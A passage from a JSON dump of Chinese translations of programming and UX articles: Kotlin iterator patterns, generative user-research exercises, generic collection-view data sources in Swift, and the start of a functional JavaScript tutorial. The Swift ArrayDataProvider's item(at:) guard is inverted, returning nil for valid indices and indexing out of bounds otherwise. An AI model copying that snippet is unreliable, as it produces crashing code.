month\".format(regular.pricePerMonth()))\n```\n\n#### 迭代器模式（Iterator）\n\n> 提供了一种在不暴露其底层表示的情况下顺序访问聚合对象内部元素的方法\n\n其实很难遇到需要手搓一个 **迭代器** 的情况。大多数情况，包装一个 `List` 并且实现 `Iterable`接口要更简单方便。\n\n在 Kotlin 中， `iterator()` 是个操作符函数。这意味着当一个类定义了 `operator fun iterator()` 这个函数后，可以使用 `for` 循环来遍历它（不需要声明接口）。这个函数也能通过拓展函数配合使用，这是很酷炫的。 通过拓展函数，我们可以让 **每一个** 对象都是可迭代的。看下面这个例子：\n\n```\nclass Sentence(val words: List<String>)\n...\noperator fun Sentence.iterator(): Iterator<String> = words.iterator()\n```\n\n现在我们可以在 `Sentence` 上进行迭代操作了。如果没有这个类的控制权的话，迭代器仍然将正常工作。\n\n### 更多的模式……\n\n这篇文章确实提到了相当几个设计模式，但这不是 **“四人帮”** 设计模式的全部。就像我在一开始提到的那样，尤其是结构型设计模式很难甚至根本不可能用和 Java 不同的方法来实现。 你可以在 [这个代码仓库](https://github.com/lmller/gof-in-kotlin) 找到更多的设计模式。欢迎来提交反馈和 PR。☺\n\n希望这篇文章能给你些启发，让你认识到 Kotlin 可以为广为人知的问题带来的新的解决方案。\n\n最后我想说的是，仓库中的代码量大概有 ⅓ 的 Kotlin 和 ⅔ 的 Java，虽然这两部分代码干了同样的事情🙃\n\n---\n\n封面图片来自 [stocksnap.io](stocksnap.io)\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/generative-research-ux.md",
    "content": "> * 原文地址：[USE THESE POWERFUL RESEARCH TECHNIQUES TO UNDERSTAND WHAT MOTIVATES YOUR USERS](http://blog.invisionapp.com/generative-research-ux/)\n* 原文作者：[Misael Leon](https://twitter.com/misaello)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[王子建](https://github.com/Romeo0906)\n* 校对者：[Mark](https://github.com/marcmoore)、[Will Wu](https://github.com/Airmacho)\n\n\n# 使用强大的调查技巧了解用户的动机\n\n我们需要用户的意见才能创造人们喜闻乐见的产品——那些他们乐意使用和消费的产品。你可以利用问卷调查的形式来禅师理解用户的动机，但问题是[调查问卷](http://blog.invisionapp.com/how-to-create-a-survey/)不够灵活并且也不能获取用户的核心情绪。\n\n解决办法：生产性调研。\n\n[行和言之间始终存在着差异](https://twitter.com/intent/tweet?text=%22There%27s+always+a+gap+between+what+we+say+and+what+we+do%22+http%3A%2F%2Fblog.invisionapp.com%2Fgenerative-research-ux%2F+via+%40InVisionApp)——人的天性如此，但动手实践解锁了用户头脑中主观能动性的部分，因此生产性调研能透过感知获取更深层次的人性体验。\n\n## [如何利用我们 UX 设计课程中的免费部分来赢得 UX 的冠军](https://www.invisionapp.com/ecourses/principles-of-ux-design)\n\n[Elizabeth B.-N. Sanders 写道](http://www.maketools.com/articles-papers/FromUsercenteredtoParticipatory_Sanders_%2002.pdf)（链接文档为 PDF 格式），“同时从这三个角度（做什么、说什么和得到什么）出发，你会更容易理解他人，也更容易与与使用者产生共鸣。”\n\n[![generative-framework](http://s3.amazonaws.com/blog.invisionapp.com/uploads/2016/11/generative-framework.jpg?ver=1)](http://s3.amazonaws.com/blog.invisionapp.com/uploads/2016/11/generative-framework.jpg)\n\n## 通过动手实践的方式在谈话中获益\n\n1. 洗耳恭听并且达到共识\n2. 自然而然地打开话匣子并达成强烈共识\n3. 获取丰富的用户动机和用户预期\n4. 探索如何让故事有丰富的细节并极具感染力\n5. 从参与者的个人见识中获取信息\n6. 感同身受地提出并达成解决方案\n\n## 实践类型\n\n生产性调研中很酷的地方就在于它只是一种模式，是一种思考和[指导调研](http://blog.invisionapp.com/how-to-conduct-yourself-in-a-ux-research-session/)的方式，它包含很多种类型的实践。我们一起来看一下：\n\n[“动手实践创造了一架桥梁，由表及里地连通了人类的体验。”](https://twitter.com/intent/tweet?text=%22Exercises+create+a+bridge+from+the+superficial+to+the+deeper+levels+of+human+experience.%22+http%3A%2F%2Fblog.invisionapp.com%2Fgenerative-research-ux%2F+via+%40InVisionApp)\n\n**列清单**\n\n这项活动主要是给定一些内容，并要求参与者搜集相关的想法。你能获得他们的第一反应，那都是很有价值的，因为那对他们来说是最重要的事。列清单的方式很简单，但也可能会包含非常多值得讨论的内容。\n\n[![image-2-lists](http://s3.amazonaws.com/blog.invisionapp.com/uploads/2016/11/image-2-lists.jpg?ver=1)](http://s3.amazonaws.com/blog.invisionapp.com/uploads/2016/11/image-2-lists.jpg)\n\n列清单的方式主要用来：\n\n1. 收集同一类型的元素（比如：做什么类型的晚饭）\n2. 围绕一个主题收集用户的感受和需求\n3. 清点物品（比如：我盥洗室的橱柜里都有什么）\n4. 获取一天的日程安排\n\n**完成句子**\n\n这项活动中，你需要让参与者来继续完成一些句子。这个方法很棒，它不仅可以获取参与者内心与当前观念的互动，而且简单易行，同时还能开启一场引人入胜的谈话。\n\n[![image-3-mad-lib](http://s3.amazonaws.com/blog.invisionapp.com/uploads/2016/11/image-3-mad-lib.jpg?ver=1)](http://s3.amazonaws.com/blog.invisionapp.com/uploads/2016/11/image-3-mad-lib.jpg)\n\n完成句子的方式主要用来：\n\n1. 获取用户对某个话题的评估、互动、需求和偏好\n2. 在互动中收集用户对特定观点的理解\n3. 激发主观能动性获取用户态度\n\n**卡牌分类**\n\n卡牌分类活动中，你需要准备一些卡牌，上面有既定的内容或者其他特征，然后要求参与者将相关的卡牌分组，其结果能帮助你增加系统的可检索性。\n\n[![image-4-sort](http://s3.amazonaws.com/blog.invisionapp.com/uploads/2016/11/image-4-sort.jpg?ver=1)](http://s3.amazonaws.com/blog.invisionapp.com/uploads/2016/11/image-4-sort.jpg)\n\n通过卡牌分类的方式你可以做到如下几点：\n\n1. 探索和定义多个不同的类别\n2. 理解多个元素之间的联系，从而帮助洞悉用户的想法和思路\n3. 获取用户偏好和优先级（当参与者对元素评级排序的时候）\n4. 记住一些故事（当用户对图像做选择或者分类的时候）\n\n**动手做**\n\n这种活动项目品类繁多，但万变不离其宗。它们旨在给用户提供一些可以自由物品来表达自我，这极大地帮助了用户实现一些复杂的主观想法，比如对未来和健康问题的思索。\n\n一些可选的活动：\n\n1. 绘画\n2. 拼图\n3. 雕塑、塑像\n4. 建模（比如：利用积木或者裁纸建模）\n\n要记住，这项活动中参与者需要大量的时间来创造和表达自我。\n\n[![image-5-make](http://s3.amazonaws.com/blog.invisionapp.com/uploads/2016/11/image-5-make.jpg?ver=1)](http://s3.amazonaws.com/blog.invisionapp.com/uploads/2016/11/image-5-make.jpg)\n\n**适用于：**\n\n1. 表达难以具象化的观点\n2. 抓住用户的情绪和感知\n3. 生成关于未来的画面\n\n[“为了得到有意义的解决方案，我们必须要了解受众的感情变化。”](https://twitter.com/intent/tweet?text=%22To+create+meaningful+solutions+we+must+understand+the+emotional+range+of+our+audience.%22+http%3A%2F%2Fblog.invisionapp.com%2Fgenerative-research-ux%2F+via+%40InVisionApp)\n\n## 设计应以人为本\n\n[客户已经不再是被动的消费者了。](https://twitter.com/intent/tweet?text=%22Customers+are+no+longer+passive+consumers.%22+http%3A%2F%2Fblog.invisionapp.com%2Fgenerative-research-ux%2F+via+%40InVisionApp)为了得到有意义的解决方案，我们必须要了解受众的感情变化。\n\n我们可以通过动手实践的方式来深入了解用户的内心感受，如果我们能够与之[产生共鸣](http://blog.invisionapp.com/building-user-empathy/)，就能把握住机会设计一款适合用户生活方式的产品。\n\n[“设计应以人为本。”](https://twitter.com/intent/tweet?text=%22Design+is+all+about+people.%22+http%3A%2F%2Fblog.invisionapp.com%2Fgenerative-research-ux%2F+via+%40InVisionApp)\n\n生产性的调研技巧将会帮助你探索用户问题中的细微差别并创造解决方案。可不要忘了，鞋子合不合适只有脚知道。\n\n正如乔布斯所言：“客户不会告诉你他们真正需要的是什么。”"
  },
  {
    "path": "TODO/generic-data-sources-in-swift.md",
    "content": "\n> * 原文地址：[Generic Data Sources in Swift](https://medium.com/capital-one-developers/generic-data-sources-in-swift-c6fbb531520e)\n> * 原文作者：[Andrea Prearo](https://medium.com/@andrea.prearo)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/generic-data-sources-in-swift.md](https://github.com/xitu/gold-miner/blob/master/TODO/generic-data-sources-in-swift.md)\n> * 译者：[Swants](https://swants.github.io)\n> * 校对者：[iOSleep](https://github.com/iOSleep)\n\n# Swift 中的通用数据源\n\n![](https://cdn-images-1.medium.com/max/1600/1*Lv_C7Y7otRuJyQb5_v35Pw.gif)\n\n在我开发的绝大多数 iOS app 中， tableView 和 collectionView 绝对是最常用的 UI 组件。鉴于设置一个 tableView 或 collectionView 需要大量样板代码，我最近花了些时间找到一个比较好的方法，去避免一遍又一遍地重复同样的代码。我的主要工作是对必需的样板代码进行抽取封装。随着时间的推移，很多其他开发者也解决了这个问题。并且随着 [Swift](https://github.com/apple/swift/blob/master/CHANGELOG.md) 的最新进展出现了很多有趣的解决方案。\n\n本篇文章里，我将介绍在我 APP 里已经使用了一段时间的解决方案，这个方案让我在设置 collectionView 的时候减少了大量的样板代码。\n\n### TableView vs CollectionView\n\n有些人可能会问 **为什么单讨论 collectionView 而不提 tableView 呢?**\n\n在最近的几个月里，我在之前可以使用 tableView 的地方都使用成了 collectionView 。它们到目前为止表现良好！这一做法帮助我不用去区分这两个 **几乎完全** 相似但并不完全相同的集合概念。接下来则是让我做出这一决定的根本原因：\n\n- 任何 tableView 都可以用单列的 collectionView 进行实现/重构。\n- tableView 在大屏幕上（如：iPad ）表现的不是特别好。\n\n需要说明的是，我没有建议你把代码库里所有的 tableView 都用 collectionView 重新实现。我建议的是，当你需要添加一个展示列表的新功能时，你应该考虑下使用 collectionView 来代替 tableView 。尤其是在你开发一个 Universal APP 时，因为 collectionView 将让你的 APP 在所有尺寸屏幕上动态调整布局变得更简单。\n\n### Swift 泛型与有效抽取的探索\n\n我一直是泛型编程的拥趸，所以你能想象的到当苹果宣布在 Swift 中引进泛型时，我是多么的兴奋。但是泛型和协议结合有时并不合作的那么和谐。这时 Swift 2.x 中关于 [关联类型](https://www.natashatherobot.com/swift-what-are-protocols-with-associated-types/) 的介绍让使用泛型协议变得更加简单，越来越多的开发者开始去尝试使用它们。\n\n我打算展示的代码抽取是基于对泛型使用的尝试，尤其是泛型协议。这样的代码抽取能够让我对设置 collectionView 所需的样板代码进行封装，从而减少设置数据源所需的代码，甚至在一些简单的使用场景两行代码就足够了。\n\n我想说明下我所创建的不是通解。我做的代码封装针对于解决一些特定使用场景。对于这些场景来说，使用抽取封装后的代码效果非常好。对于一些复杂的使用场景，可能就需要添加额外的代码了。我把抽取工作主要放在了 collectionView 最常用的功能。如果需要的话，你可以封装更多的功能，但是对于我的特定场景来说，这并不是必需的。\n\n作为本篇文章的目的，我将会展示一部分抽取代码来概括使用 collectionView 时常用的功能。这将是你了解使用泛型，尤其是泛型协议能够来做什么的一个好的机会。\n\n### Collection View Cell 抽取\n\n首先，我实现 collectionView 通常都是先创建展示数据的 cell 。处理 collectionView 的 cell 时通常需要：\n\n- 重用 cell\n- 配置 cell\n\n为了简化上面的工作，我写了两个协议：\n\n- ***ReusableCell***\n- ***ConfigurableCell***\n\n让我们详细地看一下这两个抽取后代码吧。\n\n### ReusableCell\n\n这个 **ReusableCell** 协议需要你定义一个 **重用标识符** ，这个标志符将在重用 cell 的时候被用到。在我的 APP 里，我总是图方便把 cell 的重用标识符设置为和 cell 的类名一样。因此，很容易通过创建一个协议扩展来抽取出，让 **reuseIdentifier** 返回一个带有类名称的字符串：\n\n```\npublic protocol ReusableCell {\n    static var reuseIdentifier: String { get }\n}\n\npublic extension ReusableCell {\n    static var reuseIdentifier: String {\n        return String(describing: self)\n    }\n}\n```\n\n### ConfigurableCell\n\n这个 **ConfigurableCell** 协议需要你实现一个方法，这个方法将使用特定类型的实例配置 cell ,而这个实例被定义成了一个泛型类型 **T**:\n\n```\npublic protocol ConfigurableCell: ReusableCell {\n    associatedtype T\n\n    func configure(_ item: T, at indexPath: IndexPath)\n}\n```\n\n这个 **ConfigurableCell** 协议将会在加载 cell 内容的时候被调用。接下来我会详细介绍一些细节，现在我就强调下一些地方：\n\n1. **ConfigurableCell** 继承 **ReusableCell**\n\n2. 绑定类型的使用（ **绑定类型 T** ）将 **ConfigurableCell** 定义为泛型协议。\n\n### 数据源的抽取: CollectionDataProvider\n\n现在，让我们把目光收回，再回想下设置 collection view 都需要做些什么。为了让 collection view 展示内容，我们需要遵循 **UICollectionViewDataSource** 协议。那么最先要做的常常是确定下来这些:\n\n- 需要几组：**numberOfSections(in:)**\n- 每组需要几行：**collectionView(_:numberOfItemsInSection:)**\n- cell 的内容怎么加载 ：**collectionView(_:cellForItemAt:)**\n\n将上述代理方法实现，会确保我们能够对指定 collectionView 的 cell 进行展示 。而对于我来说，这里是非常适合进行代码抽取的地方。\n\n为了抽取和封装上述步骤，我创建了以下泛型协议：\n\n```\npublic protocol CollectionDataProvider {\n    associatedtype T\n\n    func numberOfSections() -> Int\n    func numberOfItems(in section: Int) -> Int\n    func item(at indexPath: IndexPath) -> T?\n\n    func updateItem(at indexPath: IndexPath, value: T)\n}\n```\n\n这个协议前三个方法是：\n\n- ***numberOfSections()***\n- ***numberOfItems(in:)***\n- ***item(at:)***\n\n他们指明了遵循 **UICollectionViewDataSource** 协议需要实现的代理方法列表。基于我有过一些当用户交互后需要更新数据源的使用场景，我在最后又加了一个 **(updateItem(at:, value:))** 方法。这个方法允许你在需要的时候更新底层数据。到这里，在 **CollectionDataProvider** 定义的方法满足了遵循 **UICollectionViewDataSource** 协议时需要实现的常用功能。\n\n### 封装样板: CollectionDataSource\n\n通过上面的抽取，现在可以开始实现一个基类，这个基类将被封装为 collectionView 创建数据源所需的常用样板。这就是最神奇地方！这个类的主要作用就是利用特定的 **CollectionDataProvider** 和 **UICollectionViewCell** 来满足遵循 **UICollectionViewDataSource** 协议所需要实现的方法。\n\n这是这个类的定义：\n\n```\nopen class CollectionDataSource<Provider: CollectionDataProvider, Cell: UICollectionViewCell>:\n    NSObject,\n    UICollectionViewDataSource,\n    UICollectionViewDelegate,\n    where Cell: ConfigurableCell, Provider.T == Cell.T\n{ [...] }\n```\n\n它为我们做了很多事：\n\n1. 这个类有一个公有属性，让我们能够将它扩展为指定 CollectionDataProvider 提供正确的实现。\n2. 这是一个泛型的类，所以它需要特定的 **Provider (CollectionDataProvider)** 和 Cell **(UICollectionViewCell)** 对象进一步的定义来使用。\n3. 这个类继承于 **NSObject** 基类，所以能够遵循 **UICollectionViewDataSource** 和 **UICollectionViewDelegate** 来进行抽取封装样板代码。\n4. 这个类在以下场景使用的时候有一些特定限制：\n\n- **UICollectionViewCell** 必须遵循 **ConfigurableCell** 协议。（ **Cell:** **ConfigurableCell** ）\n- 特定类型 **T** 必须和 cell 跟 Provider 的 **T** 相同 (**Provider.T == Cell.T**)。\n\n代码需要像下面一样对 **CollectionDataSource** 进行初始化和设置：\n\n```\n// MARK: - Private Properties\nlet provider: Provider\nlet collectionView: UICollectionView\n\n// MARK: - Lifecycle\ninit(collectionView: UICollectionView, provider: Provider) {\n    self.collectionView = collectionView\n    self.provider = provider\n    super.init()\n    setUp()\n}\n\nfunc setUp() {\n    collectionView.dataSource = self\n    collectionView.delegate = self\n}\n```\n\n代码是非常简单的：**CollectionDataSource** 需要知道它将针对哪个 collectionView 对象，将根据哪个作为数据提供者。这些问题都是通过 **init** 方法的参数进行传递确定的。在初始化的过程中，**CollectionDataSource** 将自己设置为 **UICollectionViewDataSource** 和 **UICollectionViewDelegate** 的代理对象(在 **setUp** 方法中)。\n\n现在让我们看一下 **UICollectionViewDataSource** 代理的样板代码。\n\n这是代码：\n\n```\n// MARK: - UICollectionViewDataSource\npublic func numberOfSections(in collectionView: UICollectionView) -> Int {\n    return provider.numberOfSections()\n}\n\npublic func collectionView(_ collectionView: UICollectionView, numberOfItemsInSection section: Int) -> Int {\n    return provider.numberOfItems(in: section)\n}\n\nopen func collectionView(_ collectionView: UICollectionView,\n     cellForItemAt indexPath: IndexPath) -> UICollectionViewCell\n{\n    guard let cell = collectionView.dequeueReusableCell(withReuseIdentifier: Cell.reuseIdentifier,\n        for: indexPath) as? Cell else {\n        return UICollectionViewCell()\n    }\n    let item = provider.item(at: indexPath)\n    if let item = item {\n        cell.configure(item, at: indexPath)\n    }\n    return cell\n}\n```\n\n上面的代码片段通过 **CollectionDataProvider** 的一个对象展示了 **UICollectionViewDataSource** 代理的主要实现，就像之前所说的那样，它封装了数据源实现的所有细节。每个代理都使用指定的 **CollectionDataProvider** 方法来抽取跟数据源之间进行交互。\n\n注意 **collectionView(_:cellForItemAt:)** 方法有一个公开的属性，这就能够让它的任何子类在需要对 cell 内容进行更多定制化的时候进行扩展。\n\n现在对 collectionView cell 展示的功能已经做好了，让我们再为它添加更多的功能吧。\n\n而作为第一个要添加的功能，用户应该能够在点击 cell 的时候触发某些操作。为了实现这个功能，一个简单的方案就是定义一个简单的 closure,并对这个 closure 初始化，当用户点击 cell 的时候执行这个 closure 。\n\n处理 cell 点击的自定义 closure 如下所示：\n\n```\npublic typealias CollectionItemSelectionHandlerType = (IndexPath) -> Void\n```\n\n现在，我们能定义个属性来存储这个 closure ，当用户点击这个 cell 的时候就会在 **UICollectionViewDelegate** 的 **collectionView(_:didSelectItemAt:)** 代理方法实现中执行这个初始化好的 closure 。\n\n```\n// MARK: - Delegates\npublic var collectionItemSelectionHandler: CollectionItemSelectionHandlerType?\n\n// MARK: - UICollectionViewDelegate\npublic func collectionView(_ collectionView: UICollectionView, didSelectItemAt indexPath: IndexPath) {\n    collectionItemSelectionHandler?(indexPath)\n}\n```\n\n作为第二个要添加的功能，我打算在 **CollectionDataSource** 中对多组组头和组的一些代码样板进行封装。这就需要实现 **UICollectionViewDataSource** 的代理方法 **viewForSupplementaryElementOfKind** 。为了能够让子类自定义的实现 **viewForSupplementaryElementOfKind** ，这个代理方法需要定义为公开方法，以便让任何子类能够对这个方法进行重写。\n\n```\nopen func collectionView(_ collectionView: UICollectionView,\n    viewForSupplementaryElementOfKind kind: String,\n    at indexPath: IndexPath) -> UICollectionReusableView\n{\n    return UICollectionReusableView(frame: CGRect.zero)\n}\n```\n\n通常来说，这种方式适用于所有的代理方法，当他们需要被子类重写覆盖时，这些方法需要定义为公有方法，并在 **CollectionDataSource** 中实现。\n\n另一种不同的解决方案就是使用一个自定义的 closure ，就像在 **(CollectionItemSelectionHandlerType)** 方法中处理 cell 点击事件一样。\n\n我实现的这个特定方面是软件工程中的一个典型的权衡，一方面 —— 为 collectionView 设置数据源的主要细节都被隐藏（被抽取封装）。另一方面 —— 封装的样板代码中没有提供的功能，就会变得不能开箱即用，添加新的功能并不复杂，但是需要像我上面两个例子那样，需要实现更多的自定义代码。\n\n### 实现一个具体的 CollectionDataProvider 也就是 ArrayDataProvider\n\n现在样板代码已经设置好了，collectionView 的数据源由 **CollectionDataSource** 负责。让我们通过一个普通的使用案例来看看样板代码用起来有多方便。为了做这个，**CollectionDataSource** 对象需要提供 **CollectionDataProvider** 具体的实现。一个覆盖大多数常见使用案例的基本实现，可以简单地使用二维数组来包含展示 collectionView  cell 内容的数据 。作为我对数据源抽象的试验的一部分，我使这个实现变得更加通用，并且能够表示:\n\n- 二维数组，每一个数组元素代表 collectionView 一组 cell 的内容。\n- 数组，表示 collectionView 只有一组 cell 的内容（没有组头）。\n\n上面的代码实现都包含在泛型类 **ArrayDataProvider** 中：\n\n```\npublic class ArrayDataProvider<T>: CollectionDataProvider {\n    // MARK: - Internal Properties\n    var items: [[T]] = []\n\n    // MARK: - Lifecycle\n    init(array: [[T]]) {\n        items = array\n    }\n\n    // MARK: - CollectionDataProvider\n    public func numberOfSections() -> Int {\n        return items.count\n    }\n\n    public func numberOfItems(in section: Int) -> Int {\n        guard section >= 0 && section < items.count else {\n            return 0\n        }\n        return items[section].count\n    }\n\n    public func item(at indexPath: IndexPath) -> T? {\n        guard indexPath.section >= 0 &&\n            indexPath.section < items.count &&\n            indexPath.row >= 0 &&\n            indexPath.row < items[indexPath.section].count else\n        {\n            return items[indexPath.section][indexPath.row]\n        }\n        return nil\n    }\n\n    public func updateItem(at indexPath: IndexPath, value: T) {\n        guard indexPath.section >= 0 &&\n            indexPath.section < items.count &&\n            indexPath.row >= 0 &&\n            indexPath.row < items[indexPath.section].count else\n        {\n            return\n        }\n        items[indexPath.section][indexPath.row] = value\n    }\n}\n```\n\n这样做可以提取访问数据源的细节，线性数据结构可以表示 cell 的内容是最常见的使用情况。\n\n### 封装到一块: CollectionArrayDataSource\n\n这样 **CollectionDataProvider** 协议就具体实现了，创建一个 **CollectionDataSource** 子类来实现最常见的简单的列表数据展示是非常容易的。\n\n让我们从这个类的定义开始：\n\n```\nopen class CollectionArrayDataSource<T, Cell: UICollectionViewCell>: CollectionDataSource<ArrayDataProvider<T>, Cell>\n     where Cell: ConfigurableCell, Cell.T == T\n { [...] }\n```\n\n这个声明定义了很多事情：\n\n1. 这个类有一个公有的属性，因为它最终将被扩展为 **UICollectionView** 对象的数据源对象。\n2. 这是一个继承 **UICollectionViewCell** 的泛型类，需要被特定的类型 **T** 进一步定义才能正确展示 cell 和 cell 的内容。\n\n3. 这个类扩展了 **CollectionDataSource** 来提供进一步的特定行为。\n\n4. 特定类型 **T** 将被表示，它将通过一个 **ArrayDataProvider\\<T\\>** 对象来访问 cell 内容。\n\n5. 这个类在 closure 中的定义表明有些特定的约束:\n\n- **UICollectionViewCell** 必须遵循 **ConfigurableCell** 协议。（ **Cell:** **ConfigurableCell** ）\n- cell 中的特定类型 **T** 必须跟 Provider 的 **T** 相同  (**Provider.T == Cell.T**) 。\n\n类的实现非常简单：\n\n```\n// MARK: - Lifecycle\npublic convenience init(collectionView: UICollectionView, array: [T]) {\n   self.init(collectionView: collectionView, array: [array])\n}\n\npublic init(collectionView: UICollectionView, array: [[T]]) {\n   let provider = ArrayDataProvider(array: array)\n   super.init(collectionView: collectionView, provider: provider)\n}\n\n// MARK: - Public Methods\npublic func item(at indexPath: IndexPath) -> T? {\n   return provider.item(at: indexPath)\n}\n\npublic func updateItem(at indexPath: IndexPath, value: T) {\n   provider.updateItem(at: indexPath, value: value)\n}\n```\n\n它只是提供了一些初始化方法和与交互方法，这些方法使我们能够让数据提供者与数据源透明地进行读取和写入操作。\n\n### 创建一个基本的 CollectionView\n\n可以将 **CollectionArrayDataSource** 基类扩展，为任何可以用二维数组展示的 collection view 创建一个特定的数据源。\n\n```\nclass PhotosDataSource: CollectionArrayDataSource<PhotoViewModel, PhotoCell> {}\n```\n\n声明比较简单:\n\n1. 继承于 **CollectionArrayDataSource** 。\n2. 这个类表示 **PhotoViewModel** 作为特定类型 **T** 将会展示 cell 内容，可通过 **ArrayDataProvider\\<PhotoViewModel\\>** 对象访问，**PhotoCell** 将作为 **UICollectionViewCell** 展示。\n\n请注意，**PhotoCell** 必须遵守 **ConfigurableCell** 协议，并且能够通过 **PhotoViewModel** 实例初始化它的属性。\n\n创建一个 **PhotosDataSource** 对象是非常简单的。只需要传递过去将要展示的 collectionView 和由展示每个 cell 内容的 **PhotoViewModel** 元素组成的数组：\n\n```\nlet dataSource = PhotosDataSource(collectionView: collectionView, array: viewModels)\n```\n\n**collectionView** 参数通常是 storyboard 上的 collectionView 通过 outlet 指向获取到的。\n\n所有的就完成了！两行代码就可以设置一个基本的 collectionView 数据源。\n\n### 设置带有组标题和组的 CollectionView\n\n对于更高级和复杂的用例，你可以简单在 [GitHub repo](https://github.com/andrea-prearo/GenericDataSource) 上查看 **TaskList** 。内容已经很长了，本文就不再不介绍示例的更多细节。我将在下一篇 *“Collection View with Headers and Sections”* 文章里进行深入地探讨。在这个说明中，如果存在一个话题对你来说很有意思，请不要犹豫让我知道，这样我就可以优先考虑下一步写什么。为了和我联系，请在这篇文章下方留言或发邮件给我: [andrea.prearo@gmail.com](mailto:andrea.prearo@gmail.com) 。\n\n### 结论\n\n在这篇文章中，我介绍了一些我做的抽取封装，以简化使用泛型数据源的 collectionView 。所提出的实现都是基于我在构建 iOS app 时遇到的重复代码的场景。一些更高级的功能可能需要进一步的自定义。我相信，继续优化所得到的代码抽取，或者构建新的代码抽取，来简化处理不同的 collectionView 模式都是可能的。但这已经超出了这篇文章的范围。\n\n所有的通用数据源代码和示例工程都在 [GitHub](https://github.com/andrea-prearo/GenericDataSource) 并且是遵守 MIT 协议的。你可以直接使用和修改它们。欢迎所有的反馈意见和建议的贡献，并非常感谢你这么做。如果你有足够的兴趣，我将很乐意添加所需的配置，使代码与Cocoapods和Carthage一起使用，并允许使用这种依赖关系管理工具导入通用数据源。或者，这可能是一个很好的起点去为这个项目做出贡献。\n\n---\n\n#### 额外链接\n\n- [Smooth Scrolling in UITableView and UICollectionView](https://medium.com/capital-one-developers/smooth-scrolling-in-uitableview-and-uicollectionview-a012045d77f)\n- [Boost Smooth Scrolling with iOS 10 Pre-Fetching API](https://medium.com/capital-one-developers/boost-smooth-scrolling-with-ios-10-pre-fetching-api-818c25cd9c5d)\n\n**披露声明：这些意见是作者的意见。 除非在文章中额外声明，否则 Capital One 版权不属于任何所提及的公司，也不属于任何上述公司。 使用或显示的所有商标和其他知识产权均为其各自所有者的所有权。 本文版权为 ©2017 Capital One**\n\n更多关于 API、开源、社区活动或开发文化的信息，请访问我们的一站式开发网站  [**developer.capitalone.com**](https://developer.capitalone.com/) 。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/gentle-introduction-to-functional-javascript-intro.md",
    "content": "> * 原文链接 : [A GENTLE INTRODUCTION TO FUNCTIONAL JAVASCRIPT: PART 1](http://jrsinclair.com/articles/2016/gentle-introduction-to-functional-javascript-intro/)\n* 原文作者 : [James Sinclair](http://jrsinclair.com/about.html)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者: [Zhangjd](https://github.com/zhangjd)\n* 校对者: [markzhai](https://github.com/markzhai), [sqrthree](https://github.com/sqrthree)\n\n# 函数式 JavaScript 教程（一）\n\n本文是介绍 JavaScript 函数式编程的四部分之首篇。在这篇文章里，我们来看一下那些让 JavaScript 适合作为函数式编程语言的组成部分，并探讨为什么函数式编程可能是有用的。\n\n*   Part 1: [组成部分与动机](http://jrsinclair.com/articles/2016/gentle-introduction-to-functional-javascript-intro/)\n*   Part 2: [处理数组和列表](http://jrsinclair.com/articles/2016/gentle-introduction-to-functional-javascript-arrays/)\n*   Part 3: [生成函数的函数](http://jrsinclair.com/articles/2016/gentle-introduction-to-functional-javascript-functions/)\n*   Part 4: [函数式风格编程](http://jrsinclair.com/articles/2016/gentle-introduction-to-functional-javascript-style/)\n\n## 什么是函数？\n\n函数式 JavaScript 因为什么而热门？为什么称之为_函数式_？那应该也不是任何一个选择写不良的或者非函数式js的人选择写它们的原因，函数式编程适合用在什么地方？为什么你会感到困扰？\n\n对于我而言，学习函数式编程有点像 [得到了一个全能料理机](http://youtu.be/4yr_etbfZtQ):\n\n*   它需要一点前期的学习成本;\n*   之后你会开始告诉你的朋友和亲人们它有多酷炫;\n*   他们会开始怀疑你是不是加入了某种邪教。\n\n但是，函数式编程确实让某些任务变得轻松很多，它甚至可以自动化某些本来是无聊耗时的工作。\n\n## 组成部分\n\n在进入正题之前，我们先介绍一下 JavaScript 的那些让函数式编程成为可能的基本特征。在 JavaScript 中，有两个关键的组成部分：_变量_ 和 _函数_。变量有点像容器，我们可以把内容放进去，比如你可以这样写：\n\n    var myContainer = \"Hey everybody! Come see how good I look!\";\n\n这句话创建了一个名为 `myContainer` 的容器，并把一个字符串放了进去。\n\n现在来看看函数，函数是一种封装若干指令，使其便于重复利用的方式；也可以理解为把若干事情先组织起来，使你不必立即想清楚一切。我们可以创建一个像这样的函数：\n\n    function log(someVariable) {\n        console.log(someVariable);\n        return someVariable;\n    }\n\n然后这样调用：\n\n    log(myContainer);\n    // Hey everybody! Come see how good I look!\n\n如果你熟悉 JavaScript，应该还知道我们可以像这样定义和调用函数：\n\n    var log = function(someVariable) {\n        console.log(someVariable);\n        return someVariable;\n    }\n\n    log(myContainer);\n    // Hey everybody! Come see how good I look!\n\n认真观察下，当我们以这种方式定义函数时，看起来就像定义了一个 `log` 变量，并且把函数放进了这个变量，而这正是我们所做的。我们的 `log()` 函数确实是一个变量，这意味着我们可以对它做与其它变量一样的事情。\n\n让我们试一试，能否把函数作为参数，传递给另一函数呢？\n\n    var classyMessage = function() {\n        return \"Stay classy San Diego!\";\n    }\n\n    log(classyMessage);\n    // 